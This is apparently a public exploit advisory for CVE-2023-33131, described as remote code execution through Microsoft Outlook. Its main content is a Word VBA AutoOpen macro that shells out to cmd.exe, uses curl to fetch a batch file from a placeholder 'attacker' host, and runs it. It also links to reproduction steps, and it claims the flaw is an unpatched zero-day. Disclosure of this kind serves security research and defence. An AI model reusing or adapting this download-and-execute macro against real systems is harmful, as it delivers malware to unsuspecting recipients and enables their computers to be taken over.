## Title: Microsoft Outlook Microsoft 365 MSO (Version 2306 Build 16.0.16529.20100) 32-bit - Remote Code Execution
## Author: nu11secur1ty
## Date: 07.07.2023
## Vendor: https://www.microsoft.com/
## Software: https://outlook.live.com/owa/
## Reference: https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/
## CVE-2023-33131
## Description:
In this vulnerability, the Microsoft Outlook app allows an attacker to
send an infected Word file with malicious content
to everyone who using the Outlook app, no matter web or local.
Microsoft still doesn't have a patch against this 0-day vulnerability today.
## Staus: HIGH Vulnerability
[+]Exploit:
- The malicious Word file:
```js
Sub AutoOpen()
Call Shell("cmd.exe /S /c" & "curl -s
https://attacker/namaikativputkata/sichko/nikoganqqsaopraite.bat >
nikoganqqsaopraite.bat && .\nikoganqqsaopraite.bat", vbNormalFocus)
End Sub
```
## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33131)
## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/07/cve-2023-33131-microsoft-outlook.html)
## Time spend:
00:30:00